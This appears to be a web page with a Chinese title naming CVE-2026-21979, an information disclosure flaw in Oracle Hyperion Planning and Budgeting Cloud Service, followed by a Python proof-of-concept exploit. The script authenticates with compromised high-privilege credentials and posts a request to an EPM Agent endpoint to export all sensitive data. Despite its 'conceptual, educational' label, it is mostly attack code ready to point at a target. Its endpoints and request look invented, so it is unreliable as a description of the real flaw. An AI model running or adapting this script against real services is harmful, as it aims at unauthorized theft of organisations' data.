CVE-2026-21979 Oracle Hyperion Planning and Budgeting Cloud Service信息泄露漏洞

# CVE-2026-21979 PoC - EPM Agent Information Disclosure # Note: This is a conceptual PoC for educational purposes only # Requires: Local access + High privileges + User interaction import requests import json import sys def exploit_cve_2026_21979(target_url, attacker_creds): """ Conceptual proof of concept for CVE-2026-21979 Exploits EPM Agent component in Oracle Hyperion Planning and Budgeting Cloud Service """ print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2026-21979 - EPM Agent Information Disclosure") # Step 1: Authenticate with high-privilege account session = requests.Session() auth_endpoint = f"{target_url}/epm agent/api/v1/auth/login" try: # Attempt authentication auth_response = session.post(auth_endpoint, json=attacker_creds, timeout=30) if auth_response.status_code == 200: print("[+] Authentication successful with high-privilege account") token = auth_response.json().get('session_token') # Step 2: Exploit EPM Agent endpoint to access sensitive data exploit_endpoint = f"{target_url}/epm agent/api/v1/data/planning" headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } # Crafted request to trigger information disclosure exploit_payload = { 'action': 'export_data', 'parameters': { 'include_sensitive': True, 'scope': 'all' # Attempt to access all data } } print("[*] Sending exploit request to EPM Agent...") exploit_response = session.post(exploit_endpoint, json=exploit_payload, headers=headers) if exploit_response.status_code == 200: data = exploit_response.json() print(f"[!] Successfully extracted sensitive data: {len(str(data))} bytes") print(f"[+] Sample data: {str(data)[:500]}...") return True else: print(f"[-] Exploit failed with status: {exploit_response.status_code}") return False else: print(f"[-] Authentication failed: {auth_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print("Example: python exploit.py https://planning.oraclecloud.com") sys.exit(1) target = sys.argv[1] # High-privilege attacker credentials (requires prior compromise) creds = { 'username': 'attacker_high_priv', 'password': 'compromised_password', 'domain': 'EPMPROD' } exploit_cve_2026_21979(target, creds)